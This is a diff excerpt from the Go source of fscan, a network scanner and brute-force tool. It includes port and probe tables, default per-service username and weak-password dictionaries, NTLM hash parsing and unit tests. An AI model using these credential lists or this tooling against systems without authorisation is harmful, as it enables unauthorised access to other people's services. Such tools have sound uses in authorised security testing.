// 注意:9100 已移除,该端口为打印机 RAW 端口,发送数据会触发打印
"7001,7002,7474,7687,8000,8005,8008,8009,8080,8081,8086,8088,8089,8090,8161,8180,8443,8500,8834,8848,8880,8883,8888,9000,9001,9042,9080,9090,9092,9093,9160,9200,9300,9418,9443,9999," +
// 管理/监控 (10000-11211)
"10000,10051,10250,10255,11211," +
// 消息队列/集群 (15672-27018)
"15672,22222,26379,27017,27018," +
// Hadoop/大数据 (50000-61616)
"50000,50070,50075,61613,61614,61616"
// DbPorts 数据库端口
DbPorts = "1433,1521,3306,5432,5672,5984,6379,7687,8086,9042,9093,9160,9200,11211,26379,27017,27018,61616"
// ServicePorts 服务端口
ServicePorts = "21,22,23,25,53,110,111,135,139,143,161,389,445,465,502,512,513,514,587,623,636,873,993,995,1433,1521,1883,2049,2181,2222,3306,3389,5432,5672,5671,5900,5985,5986,6379,8161,8443,8883,9000,9092,9093,9200,10051,11211,15672,15671,27017,61616,61613"
// CommonPorts 常用端口
CommonPorts = "21,22,23,25,53,80,110,135,139,143,443,445,993,995,1723,3389,5060,5985,5986"
// AllPorts 全端口
AllPorts = "1-65535"
)
// GetPortGroups 获取端口组映射 - 用于解析器
func GetPortGroups() map[string]string {
return map[string]string{
"web": WebPorts,
"main": MainPorts,
"db": DbPorts,
"service": ServicePorts,
"common": CommonPorts,
"all": AllPorts,
}
}
// =============================================================================
// 服务探测配置
// =============================================================================
// DefaultProbeMap 默认探测器列表
var DefaultProbeMap = []string{
"GenericLines",
"GetRequest",
"TLSSessionReq",
"SSLSessionReq",
"ms-sql-s",
"JavaRMI",
"LDAPSearchReq",
"LDAPBindReq",
"oracle-tns",
"Socks5",
}
// DefaultPortMap 默认端口映射关系
var DefaultPortMap = map[int][]string{
1: {"GetRequest", "Help"},
7: {"Help"},
21: {"GenericLines", "Help"},
23: {"GenericLines", "tn3270"},
25: {"Hello", "Help"},
35: {"GenericLines"},
42: {"SMBProgNeg"},
43: {"GenericLines"},
53: {"DNSVersionBindReqTCP", "DNSStatusRequestTCP"},
70: {"GetRequest"},
79: {"GenericLines", "GetRequest", "Help"},
80: {"GetRequest", "HTTPOptions", "RTSPRequest", "X11Probe", "FourOhFourRequest"},
81: {"GetRequest", "HTTPOptions", "RPCCheck", "FourOhFourRequest"},
82: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
83: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
84: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
85: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
88: {"GetRequest", "Kerberos", "SMBProgNeg", "FourOhFourRequest"},
98: {"GenericLines"},
110: {"GenericLines"},
111: {"RPCCheck"},
113: {"GenericLines", "GetRequest", "Help"},
119: {"GenericLines", "Help"},
130: {"NotesRPC"},
135: {"DNSVersionBindReqTCP", "SMBProgNeg"},
139: {"GetRequest", "SMBProgNeg"},
143: {"GetRequest"},
175: {"NJE"},
199: {"GenericLines", "RPCCheck", "Socks5", "Socks4"},
214: {"GenericLines"},
264: {"GenericLines"},
311: {"LDAPSearchReq"},
340: {"GenericLines"},
389: {"LDAPSearchReq", "LDAPBindReq"},
443: {"TLSSessionReq", "SSLSessionReq", "GetRequest", "HTTPOptions", "TerminalServerCookie"},
444: {"TLSSessionReq", "SSLSessionReq", "GetRequest", "HTTPOptions", "TerminalServerCookie"},
445: {"SMBProgNeg"},
465: {"SSLSessionReq", "TLSSessionReq", "Hello", "Help", "GetRequest", "HTTPOptions", "TerminalServerCookie"},
502: {"GenericLines"},
503: {"GenericLines"},
513: {"GenericLines"},
514: {"GenericLines"},
515: {"LPDString"},
544: {"GenericLines"},
548: {"afp"},
554: {"GetRequest"},
563: {"GenericLines"},
587: {"Hello", "Help"},
631: {"GetRequest", "HTTPOptions"},
636: {"LDAPSearchReq", "LDAPBindReq", "SSLSessionReq"},
646: {"LDAPSearchReq", "RPCCheck"},
691: {"GenericLines"},
873: {"GenericLines"},
898: {"GetRequest"},
993: {"GenericLines", "SSLSessionReq", "TerminalServerCookie", "TLSSessionReq"},
995: {"GenericLines", "SSLSessionReq", "TerminalServerCookie", "TLSSessionReq"},
1080: {"GenericLines", "Socks5", "Socks4"},
1099: {"JavaRMI"},
1234: {"SqueezeCenter_CLI"},
1311: {"GenericLines"},
1352: {"oracle-tns"},
1414: {"ibm-mqseries"},
1433: {"ms-sql-s"},
1521: {"oracle-tns"},
1723: {"GenericLines"},
1883: {"mqtt"},
1911: {"oracle-tns"},
2000: {"GenericLines", "oracle-tns"},
2049: {"RPCCheck"},
2121: {"GenericLines", "Help"},
2181: {"GenericLines"},
2222: {"GetRequest", "GenericLines", "HTTPOptions", "Help", "SSH", "TerminalServerCookie"},
2375: {"docker", "GetRequest", "HTTPOptions"},
2376: {"TLSSessionReq", "SSLSessionReq", "docker", "GetRequest", "HTTPOptions"},
2484: {"oracle-tns"},
2628: {"dominoconsole"},
3000: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
3268: {"LDAPSearchReq", "LDAPBindReq"},
3269: {"LDAPSearchReq", "LDAPBindReq", "SSLSessionReq"},
3306: {"GenericLines", "GetRequest", "HTTPOptions"},
3389: {"TerminalServerCookie", "TerminalServer"},
3690: {"GenericLines"},
4000: {"GenericLines"},
4369: {"epmd"},
4444: {"GenericLines"},
4840: {"GenericLines"},
5000: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
5050: {"GenericLines"},
5060: {"SIPOptions"},
5222: {"GenericLines"},
5432: {"GenericLines"},
5555: {"GenericLines"},
5560: {"GenericLines", "oracle-tns"},
5631: {"GenericLines", "PCWorkstation"},
5672: {"GenericLines"},
5984: {"GetRequest", "HTTPOptions"},
6000: {"X11Probe"},
6379: {"redis-server"},
6432: {"GenericLines"},
6667: {"GenericLines"},
7000: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
7001: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
7002: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
7070: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
7443: {"TLSSessionReq", "SSLSessionReq", "GetRequest", "HTTPOptions"},
7777: {"GenericLines", "oracle-tns"},
8000: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "iperf3"},
8005: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
8008: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
8009: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "ajp"},
8080: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
8081: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
8089: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
8090: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
8443: {"TLSSessionReq", "SSLSessionReq", "GetRequest", "HTTPOptions"},
8888: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
9000: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
9042: {"GenericLines"},
9092: {"GenericLines", "kafka"},
9200: {"GetRequest", "HTTPOptions", "elasticsearch"},
9300: {"GenericLines"},
9999: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "adbConnect"},
10000: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
10051: {"GenericLines"},
11211: {"Memcache"},
15672: {"GetRequest", "HTTPOptions"},
27017: {"mongodb"},
27018: {"mongodb"},
50070: {"GetRequest", "HTTPOptions"},
61616: {"GenericLines"},
}
// DefaultUserDict 默认服务用户字典
var DefaultUserDict = map[string][]string{
"ftp": {"ftp", "admin", "www", "web", "root", "db", "wwwroot", "data"},
"mysql": {"root", "mysql"},
"mssql": {"sa", "sql"},
"smb": {"administrator", "admin", "guest"},
"rdp": {"administrator", "admin", "guest"},
"postgresql": {"postgres", "admin"},
"ssh": {"root", "admin"},
"mongodb": {"root", "admin"},
"redis": {""},
"oracle": {"sys", "system", "admin", "test", "web", "orcl"},
"telnet": {"root", "admin", "test"},
"elastic": {"elastic", "admin", "kibana"},
"rabbitmq": {"guest", "admin", "administrator", "rabbit", "rabbitmq", "root"},
"kafka": {"admin", "kafka", "root", "test"},
"activemq": {"admin", "root", "activemq", "system", "user"},
"ldap": {"admin", "administrator", "root", "cn=admin", "cn=administrator", "cn=manager"},
"smtp": {"admin", "root", "postmaster", "mail", "smtp", "administrator"},
"imap": {"admin", "mail", "postmaster", "root", "user", "test"},
"pop3": {"admin", "root", "mail", "user", "test", "postmaster"},
"zabbix": {"Admin", "admin", "guest", "user"},
"rsync": {"root", "admin", "backup"},
"cassandra": {"cassandra", "admin", "root", "system"},
"neo4j": {"neo4j", "admin", "root", "test"},
}
// DefaultPasswords 默认密码字典
var DefaultPasswords = []string{
"123456", "admin", "admin123", "root", "", "pass123", "pass@123",
"password", "Password", "P@ssword123", "123123", "654321", "111111",
"123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}",
"{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123",
"{user}#123", "{user}@111", "{user}@2019", "{user}@123#4",
"P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test",
"test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666",
"a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888",
"!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111",
"a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123",
"Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ",
"2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456",
"1q2w3e", "Charge123", "Aa123456789", "redis", "elastic123",
}
+393
View File
@@ -0,0 +1,393 @@
package config
import (
"strconv"
"strings"
"testing"
)
/*
constants_test.go - 配置常量测试
测试目标:端口组、探测器配置、字典数据
价值:配置错误会导致:
- 端口组错误 → 扫描范围错误(用户遗漏目标)
- 字典错误 → 暴力破解失败(无法登录系统)
- 探测器配置错误 → 服务识别失败
"配置是数据,但数据也会有bug。端口范围错误、字典重复、
空值遗漏——这些都是真实问题。测试数据和测试代码一样重要。"
*/
// =============================================================================
// 端口组测试
// =============================================================================
// TestPortGroups_Format 测试端口组格式
//
// 验证:所有端口组字符串格式正确(可解析为端口列表)
func TestPortGroups_Format(t *testing.T) {
tests := []struct {
name string
portGroup string
}{
{"WebPorts", WebPorts},
{"MainPorts", MainPorts},
{"DbPorts", DbPorts},
{"ServicePorts", ServicePorts},
{"CommonPorts", CommonPorts},
{"AllPorts", AllPorts},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
// 验证格式:逗号分隔的数字或范围
if tt.portGroup == "" {
t.Error("端口组不应为空")
return
}
// AllPorts是特殊格式"1-65535"
if tt.portGroup == "1-65535" {
t.Logf("✓ %s 格式正确(范围格式)", tt.name)
return
}
// 其他端口组应该是逗号分隔的数字
ports := strings.Split(tt.portGroup, ",")
if len(ports) == 0 {
t.Error("端口组应该包含至少一个端口")
return
}
// 验证每个端口都是有效数字
for i, portStr := range ports {
port, err := strconv.Atoi(strings.TrimSpace(portStr))
if err != nil {
t.Errorf("第%d个端口 '%s' 不是有效数字: %v", i+1, portStr, err)
continue
}
// 验证端口范围
if port < 1 || port > 65535 {
t.Errorf("第%d个端口 %d 超出有效范围 [1-65535]", i+1, port)
}
}
t.Logf("✓ %s 格式正确(%d个端口)", tt.name, len(ports))
})
}
}
// TestPortGroups_NoEmpty 测试端口组非空
func TestPortGroups_NoEmpty(t *testing.T) {
groups := map[string]string{
"WebPorts": WebPorts,
"MainPorts": MainPorts,
"DbPorts": DbPorts,
"ServicePorts": ServicePorts,
"CommonPorts": CommonPorts,
"AllPorts": AllPorts,
}
for name, ports := range groups {
if ports == "" {
t.Errorf("%s 不应为空字符串", name)
}
}
t.Logf("✓ 所有端口组非空")
}
// TestPortGroups_NoDuplicates 测试端口组无重复
func TestPortGroups_NoDuplicates(t *testing.T) {
tests := []struct {
name string
portGroup string
}{
{"WebPorts", WebPorts},
{"MainPorts", MainPorts},
{"DbPorts", DbPorts},
{"ServicePorts", ServicePorts},
{"CommonPorts", CommonPorts},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
if tt.portGroup == "1-65535" {
t.Skip("范围格式无需检查重复")
return
}
ports := strings.Split(tt.portGroup, ",")
seen := make(map[string]bool)
duplicates := []string{}
for _, port := range ports {
port = strings.TrimSpace(port)
if seen[port] {
duplicates = append(duplicates, port)
}
seen[port] = true
}
if len(duplicates) > 0 {
t.Errorf("%s 包含重复端口: %v", tt.name, duplicates)
} else {
t.Logf("✓ %s 无重复端口", tt.name)
}
})
}
}
// TestGetPortGroups_Completeness 测试GetPortGroups完整性
//
// 验证:返回的map包含所有预定义的端口组
func TestGetPortGroups_Completeness(t *testing.T) {
groups := GetPortGroups()
expectedKeys := []string{"web", "main", "db", "service", "common", "all"}
for _, key := range expectedKeys {
if _, ok := groups[key]; !ok {
t.Errorf("GetPortGroups缺少键: %s", key)
}
}
if len(groups) != len(expectedKeys) {
t.Errorf("GetPortGroups返回%d个组,期望%d个", len(groups), len(expectedKeys))
}
t.Logf("✓ GetPortGroups包含所有%d个端口组", len(expectedKeys))
}
// TestGetPortGroups_Values 测试GetPortGroups返回正确的值
func TestGetPortGroups_Values(t *testing.T) {
groups := GetPortGroups()
tests := []struct {
key string
expected string
}{
{"web", WebPorts},
{"main", MainPorts},
{"db", DbPorts},
{"service", ServicePorts},
{"common", CommonPorts},
{"all", AllPorts},
}
for _, tt := range tests {
t.Run(tt.key, func(t *testing.T) {
actual, ok := groups[tt.key]
if !ok {
t.Fatalf("GetPortGroups缺少键: %s", tt.key)
}
if actual != tt.expected {
t.Errorf("GetPortGroups[%s] 值不匹配\n期望前20字符: %s...\n实际前20字符: %s...",
tt.key, tt.expected[:20], actual[:20])
}
t.Logf("✓ %s 映射正确", tt.key)
})
}
}
// =============================================================================
// 探测器配置测试
// =============================================================================
// TestDefaultProbeMap_NoEmpty 测试默认探测器列表非空
func TestDefaultProbeMap_NoEmpty(t *testing.T) {
if len(DefaultProbeMap) == 0 {
t.Error("DefaultProbeMap不应为空")
return
}
// 验证每个探测器名称非空
for i, probe := range DefaultProbeMap {
if probe == "" {
t.Errorf("第%d个探测器名称为空", i+1)
}
}
t.Logf("✓ DefaultProbeMap包含%d个探测器", len(DefaultProbeMap))
}
// TestDefaultPortMap_ValidKeys 测试DefaultPortMap的键有效
func TestDefaultPortMap_ValidKeys(t *testing.T) {
invalidPorts := []int{}
for port := range DefaultPortMap {
if port < 1 || port > 65535 {
invalidPorts = append(invalidPorts, port)
}
}
if len(invalidPorts) > 0 {
t.Errorf("DefaultPortMap包含无效端口号: %v", invalidPorts)
} else {
t.Logf("✓ DefaultPortMap的%d个端口号都有效", len(DefaultPortMap))
}
}
// TestDefaultPortMap_NoEmptyValues 测试DefaultPortMap值非空
func TestDefaultPortMap_NoEmptyValues(t *testing.T) {
emptyPorts := []int{}
for port, probes := range DefaultPortMap {
if len(probes) == 0 {
emptyPorts = append(emptyPorts, port)
}
}
if len(emptyPorts) > 0 {
t.Errorf("以下端口的探测器列表为空: %v", emptyPorts)
} else {
t.Logf("✓ DefaultPortMap所有端口都有探测器")
}
}
// =============================================================================
// 字典数据测试
// =============================================================================
// TestDefaultUserDict_NoEmptyKeys 测试DefaultUserDict键非空
func TestDefaultUserDict_NoEmptyKeys(t *testing.T) {
for service, users := range DefaultUserDict {
if service == "" {
t.Error("DefaultUserDict包含空服务名")
}
if len(users) == 0 {
t.Errorf("服务 '%s' 的用户列表为空", service)
}
}
t.Logf("✓ DefaultUserDict包含%d个服务", len(DefaultUserDict))
}
// TestDefaultUserDict_CommonServices 测试DefaultUserDict包含常见服务
func TestDefaultUserDict_CommonServices(t *testing.T) {
commonServices := []string{"ftp", "mysql", "mssql", "ssh", "redis", "mongodb"}
for _, service := range commonServices {
if _, ok := DefaultUserDict[service]; !ok {
t.Errorf("DefaultUserDict缺少常见服务: %s", service)
}
}
t.Logf("✓ DefaultUserDict包含所有常见服务")
}
// TestDefaultUserDict_AllowsEmptyUser 测试DefaultUserDict允许空用户名
//
// 验证:某些服务(如redis)允许空用户名
func TestDefaultUserDict_AllowsEmptyUser(t *testing.T) {
// redis服务应该包含空用户名
redisUsers, ok := DefaultUserDict["redis"]
if !ok {
t.Skip("DefaultUserDict不包含redis,跳过测试")
return
}
hasEmptyUser := false
for _, user := range redisUsers {
if user == "" {
hasEmptyUser = true
break
}
}
if !hasEmptyUser {
t.Error("redis用户列表应该包含空用户名(默认无认证)")
} else {
t.Logf("✓ redis用户列表正确包含空用户名")
}
}
// TestDefaultPasswords_NoEmpty 测试DefaultPasswords非空
func TestDefaultPasswords_NoEmpty(t *testing.T) {
if len(DefaultPasswords) == 0 {
t.Error("DefaultPasswords不应为空")
return
}
t.Logf("✓ DefaultPasswords包含%d个密码", len(DefaultPasswords))
}
// TestDefaultPasswords_AllowsEmptyPassword 测试DefaultPasswords允许空密码
func TestDefaultPasswords_AllowsEmptyPassword(t *testing.T) {
// 应该包含空密码(某些服务默认无密码)
hasEmptyPassword := false
for _, pass := range DefaultPasswords {
if pass == "" {
hasEmptyPassword = true
break
}
}
if !hasEmptyPassword {
t.Error("DefaultPasswords应该包含空密码(某些服务默认无密码)")
} else {
t.Logf("✓ DefaultPasswords正确包含空密码")
}
}
// TestDefaultPasswords_HasPlaceholder 测试DefaultPasswords包含占位符
func TestDefaultPasswords_HasPlaceholder(t *testing.T) {
// 应该包含{user}占位符(密码=用户名的场景)
hasPlaceholder := false
for _, pass := range DefaultPasswords {
if strings.Contains(pass, "{user}") {
hasPlaceholder = true
break
}
}
if !hasPlaceholder {
t.Error("DefaultPasswords应该包含{user}占位符(密码=用户名变体)")
} else {
t.Logf("✓ DefaultPasswords正确包含{user}占位符")
}
}
// =============================================================================
// 结构体测试
// =============================================================================
// TestPocInfo_Fields 测试PocInfo结构体字段
func TestPocInfo_Fields(t *testing.T) {
poc := PocInfo{
Target: "http://example.com",
PocName: "test-poc",
}
if poc.Target != "http://example.com" {
t.Error("PocInfo.Target赋值失败")
}
if poc.PocName != "test-poc" {
t.Error("PocInfo.PocName赋值失败")
}
t.Logf("✓ PocInfo结构体正常工作")
}
// TestCredentialPair_Fields 测试CredentialPair结构体字段
func TestCredentialPair_Fields(t *testing.T) {
cred := CredentialPair{
Username: "admin",
Password: "password123",
}
if cred.Username != "admin" {
t.Error("CredentialPair.Username赋值失败")
}
if cred.Password != "password123" {
t.Error("CredentialPair.Password赋值失败")
}
t.Logf("✓ CredentialPair结构体正常工作")
}
+384
View File
@@ -0,0 +1,384 @@
package common
import (
"encoding/hex"
"fmt"
"net"
"net/url"
"strconv"
"strings"
"github.com/shadow1ng/fscan/common/config"
"github.com/shadow1ng/fscan/common/i18n"
"github.com/shadow1ng/fscan/common/parsers"
)
/*
config_builder.go - 统一配置构建入口
从 FlagVars 直接构建 Config 和 State,消除中间层。
*/
// BuildConfig 从 FlagVars 构建完整的 Config 和 State
// 这是新的统一入口,替代原来的 Parse() + BuildConfigFromFlags() + updateGlobalVariables()
func BuildConfig(fv *FlagVars, info *HostInfo) (*Config, *State, error) {
// 1. 构建基础 Config(从 flag_config.go 的 BuildConfigFromFlags
cfg := BuildConfigFromFlags(fv)
// 2. 创建 State
state := NewState()
// 3. 解析凭据
if err := parseCredentials(fv, cfg); err != nil {
return nil, nil, fmt.Errorf("%s: %w", i18n.GetText("config_credentials_parse_failed"), err)
}
// 4. 解析目标(主机、端口、URL)
if err := parseTargets(fv, info, cfg, state); err != nil {
return nil, nil, fmt.Errorf("%s: %w", i18n.GetText("config_targets_parse_failed"), err)
}
// 5. 应用日志级别
applyLogLevelFromConfig(fv)
return cfg, state, nil
}
// =============================================================================
// 凭据解析
// =============================================================================
func parseCredentials(fv *FlagVars, cfg *Config) error {
// 解析用户名
usernames, err := parseUsernames(fv)
if err != nil {
return err
}
if len(usernames) > 0 {
for serviceName := range cfg.Credentials.Userdict {
cfg.Credentials.Userdict[serviceName] = usernames
}
}
// 解析密码
passwords, err := parsePasswords(fv)
if err != nil {
return err
}
if len(passwords) > 0 {
cfg.Credentials.Passwords = passwords
}
// 解析用户密码对
pairs, err := parseUserPassPairs(fv)
if err != nil {
return err
}
if len(pairs) > 0 {
cfg.Credentials.UserPassPairs = pairs
}
// 解析哈希
hashValues, hashBytes, err := parseHashes(fv)
if err != nil {
return err
}
if len(hashValues) > 0 {
cfg.Credentials.HashValues = hashValues
cfg.Credentials.HashBytes = hashBytes
}
return nil
}
func parseUsernames(fv *FlagVars) ([]string, error) {
var usernames []string
// 命令行用户名
if fv.Username != "" {
for _, u := range strings.Split(fv.Username, ",") {
u = strings.TrimSpace(u)
if u != "" {
usernames = append(usernames, u)
}
}
}
// 从文件读取
if fv.UsersFile != "" {
if lines, err := parsers.ReadLinesFromFile(fv.UsersFile); err == nil {
usernames = append(usernames, lines...)
} else {
return nil, fmt.Errorf("%s", i18n.Tr("config_read_users_failed", fv.UsersFile, err))
}
}
// 额外用户名
if fv.AddUsers != "" {
for _, u := range strings.Split(fv.AddUsers, ",") {
u = strings.TrimSpace(u)
if u != "" {
usernames = append(usernames, u)
}
}
}
return removeDuplicate(usernames), nil
}
func parsePasswords(fv *FlagVars) ([]string, error) {
var passwords []string
// 命令行密码(支持逗号分隔多个值,保留空格作为密码的一部分)
if fv.Password != "" {
for _, p := range strings.Split(fv.Password, ",") {
p = strings.TrimSpace(p)
if p != "" {
passwords = append(passwords, p)
}
}
}
// 从文件读取
if fv.PasswordsFile != "" {
if lines, err := parsers.ReadLinesFromFile(fv.PasswordsFile); err == nil {
passwords = append(passwords, lines...)
} else {
return nil, fmt.Errorf("%s", i18n.Tr("config_read_passwords_failed", fv.PasswordsFile, err))
}
}
// 额外密码
if fv.AddPasswords != "" {
passwords = append(passwords, splitCredentialValues(fv.AddPasswords)...)
}
return removeDuplicate(passwords), nil
}
func splitCredentialValues(input string) []string {
fields := strings.FieldsFunc(input, func(r rune) bool {
return r == ',' || r == ' ' || r == '\t' || r == '\n' || r == '\r'
})
values := make([]string, 0, len(fields))
for _, field := range fields {
field = strings.TrimSpace(field)
if field != "" {
values = append(values, field)
}
}
return values
}
func parseUserPassPairs(fv *FlagVars) ([]config.CredentialPair, error) {
var pairs []config.CredentialPair
// 如果命令行同时指定了单个用户名和单个密码(不是逗号分隔的多个)
if fv.Username != "" && fv.Password != "" &&
!strings.Contains(fv.Username, ",") && !strings.Contains(fv.Password, ",") &&
fv.AddUsers == "" && fv.AddPasswords == "" &&
fv.UsersFile == "" && fv.PasswordsFile == "" && fv.UserPassFile == "" {
pairs = append(pairs, config.CredentialPair{
Username: strings.TrimSpace(fv.Username),
Password: fv.Password,
})
return pairs, nil
}
// 从文件读取用户密码对
if fv.UserPassFile != "" {
filePairs, err := parsers.ParseUserPassFile(fv.UserPassFile)
if err != nil {
return nil, err
}
pairs = append(pairs, filePairs...)
}
return pairs, nil
}
func parseHashes(fv *FlagVars) ([]string, [][]byte, error) {
var hashValues []string
var hashBytes [][]byte
// 命令行哈希(支持纯 NTLM 32字符 或 LM:NT 格式)
if fv.HashValue != "" {
hash := strings.TrimSpace(fv.HashValue)
// LM:NT 格式取 NT hash 部分
if parts := strings.SplitN(hash, ":", 2); len(parts) == 2 && len(parts[1]) == 32 {
hash = parts[1]
}
if len(hash) != 32 {
return nil, nil, fmt.Errorf("invalid hash length: %s", fv.HashValue)
}
hashByte, err := hex.DecodeString(hash)
if err != nil {
return nil, nil, err
}
hashValues = append(hashValues, hash)
hashBytes = append(hashBytes, hashByte)
}
// 从文件读取
if fv.HashFile != "" {
fileHashes, fileHashBytes, err := parsers.ParseHashFile(fv.HashFile)
if err != nil {
return nil, nil, err
}
hashValues = append(hashValues, fileHashes...)
hashBytes = append(hashBytes, fileHashBytes...)
}
return hashValues, hashBytes, nil
}
// =============================================================================
// 目标解析
// =============================================================================
func parseTargets(fv *FlagVars, info *HostInfo, cfg *Config, state *State) error {
// 检查是否为 host:port 格式
ports := fv.Ports
if info.Host != "" && strings.Contains(info.Host, ":") {
if _, portStr, err := net.SplitHostPort(info.Host); err == nil {
if port, portErr := strconv.Atoi(portStr); portErr == nil && port >= 1 && port <= 65535 {
// 有效的 host:port 格式
state.SetHostPorts([]string{info.Host})
info.Host = ""
ports = "" // 清空端口,避免双重扫描
}
}
}
// 解析 URL
urls, err := parseURLs(fv)
if err != nil {
return err
}
if len(urls) > 0 {
state.SetURLs(urls)
if info.URL == "" && len(urls) == 1 {
info.URL = urls[0]
}
}
// 更新端口配置
if ports != "" {
cfg.Target.Ports = ports
}
return nil
}
func parseURLs(fv *FlagVars) ([]string, error) {
var urls []string
// 命令行 URL
if fv.TargetURL != "" {
for _, u := range strings.Split(fv.TargetURL, ",") {
u = strings.TrimSpace(u)
if u != "" {
urls = append(urls, normalizeURL(u))
}
}
}
// 从文件读取
if fv.URLsFile != "" {
if lines, err := parsers.ReadLinesFromFile(fv.URLsFile); err == nil {
for _, line := range lines {
urls = append(urls, normalizeURL(line))
}
} else {
return nil, fmt.Errorf("%s", i18n.Tr("config_read_urls_failed", fv.URLsFile, err))
}
}
return removeDuplicate(urls), nil
}
func normalizeURL(rawURL string) string {
rawURL = strings.TrimSpace(rawURL)
if rawURL == "" {
return rawURL
}
lowerURL := strings.ToLower(rawURL)
if !strings.HasPrefix(lowerURL, "http://") && !strings.HasPrefix(lowerURL, "https://") {
return "http://" + normalizeSchemelessURLTarget(rawURL)
}
parsed, err := url.Parse(rawURL)
if err != nil || parsed.Host == "" {
return rawURL
}
normalizedHost := normalizeURLHost(parsed.Host)
if normalizedHost == parsed.Host {
return rawURL
}
parsed.Host = normalizedHost
normalized := parsed.String()
if schemeEnd := strings.Index(rawURL, "://"); schemeEnd >= 0 {
return rawURL[:schemeEnd] + normalized[len(parsed.Scheme):]
}
return normalized
}
func normalizeSchemelessURLTarget(rawURL string) string {
authority := rawURL
suffix := ""
if idx := strings.IndexAny(rawURL, "/?#"); idx >= 0 {
authority = rawURL[:idx]
suffix = rawURL[idx:]
}
return normalizeURLHost(authority) + suffix
}
func normalizeURLHost(host string) string {
if strings.HasPrefix(host, "[") {
return host
}
if ip := net.ParseIP(host); ip != nil && strings.Contains(host, ":") {
return "[" + host + "]"
}
return host
}
// =============================================================================
// 日志级别应用
// =============================================================================
func applyLogLevelFromConfig(fv *FlagVars) {
if fv.LogLevel == "" {
return
}
// 调用已有的 applyLogLevel 函数
applyLogLevel()
}
// =============================================================================
// 辅助函数
// =============================================================================
func removeDuplicate(old []string) []string {
if len(old) <= 1 {
return old
}
temp := make(map[string]struct{}, len(old))
result := make([]string, 0, len(old))
for _, item := range old {
if _, exists := temp[item]; !exists {
temp[item] = struct{}{}
result = append(result, item)
}
}
return result
}
// =============================================================================
// 保留 BuildConfigFromFlags 的原有实现(从 flag_config.go 移入)
// =============================================================================
// BuildConfigFromFlags 已在 flag_config.go 中定义,这里不重复
+194
View File
@@ -0,0 +1,194 @@
package common
import (
"reflect"
"testing"
fscanconfig "github.com/shadow1ng/fscan/common/config"
)
func TestParsePasswordsKeepsPrimaryPasswordLiteral(t *testing.T) {
fv := &FlagVars{
Password: "root admin,pass0",
AddPasswords: "pass1 pass2,pass3\tpass4",
}
got, err := parsePasswords(fv)
if err != nil {
t.Fatalf("parsePasswords error = %v", err)
}
// -pwd 逗号分隔,空格保留;-pwda 逗号/空格/tab 分隔
want := []string{"root admin", "pass0", "pass1", "pass2", "pass3", "pass4"}
if !reflect.DeepEqual(got, want) {
t.Fatalf("parsePasswords() = %#v, want %#v", got, want)
}
}
func TestBuildConfigReturnsUserFileError(t *testing.T) {
_, _, err := BuildConfig(&FlagVars{UsersFile: "missing-users-file.txt"}, &HostInfo{})
if err == nil {
t.Fatal("BuildConfig should fail for missing users file")
}
}
func TestBuildConfigReturnsPasswordFileError(t *testing.T) {
_, _, err := BuildConfig(&FlagVars{PasswordsFile: "missing-passwords-file.txt"}, &HostInfo{})
if err == nil {
t.Fatal("BuildConfig should fail for missing passwords file")
}
}
func TestBuildConfigReturnsURLFileError(t *testing.T) {
_, _, err := BuildConfig(&FlagVars{URLsFile: "missing-urls-file.txt"}, &HostInfo{})
if err == nil {
t.Fatal("BuildConfig should fail for missing urls file")
}
}
func TestBuildConfigRejectsInvalidHashValue(t *testing.T) {
_, _, err := BuildConfig(&FlagVars{HashValue: "not-md5"}, &HostInfo{})
if err == nil {
t.Fatal("BuildConfig should fail for invalid hash value")
}
}
func TestBuildConfigDefaultsAreIndependentCopies(t *testing.T) {
cfg, _, err := BuildConfig(&FlagVars{Username: "custom-user"}, &HostInfo{})
if err != nil {
t.Fatalf("BuildConfig error = %v", err)
}
defaultSSHUsers := fscanconfig.DefaultUserDict["ssh"]
if len(defaultSSHUsers) == 1 && defaultSSHUsers[0] == "custom-user" {
t.Fatal("BuildConfig mutated DefaultUserDict")
}
cfg.Credentials.Userdict["ssh"][0] = "mutated-user"
if fscanconfig.DefaultUserDict["ssh"][0] == "mutated-user" {
t.Fatal("Config userdict shares backing storage with DefaultUserDict")
}
cfg.Credentials.Passwords[0] = "mutated-password"
if fscanconfig.DefaultPasswords[0] == "mutated-password" {
t.Fatal("Config passwords share backing storage with DefaultPasswords")
}
port := 80
cfg.PortMap[port][0] = "mutated-probe"
if fscanconfig.DefaultPortMap[port][0] == "mutated-probe" {
t.Fatal("Config port map shares backing storage with DefaultPortMap")
}
cfg.DefaultMap[0] = "mutated-default-probe"
if fscanconfig.DefaultProbeMap[0] == "mutated-default-probe" {
t.Fatal("Config default map shares backing storage with DefaultProbeMap")
}
}
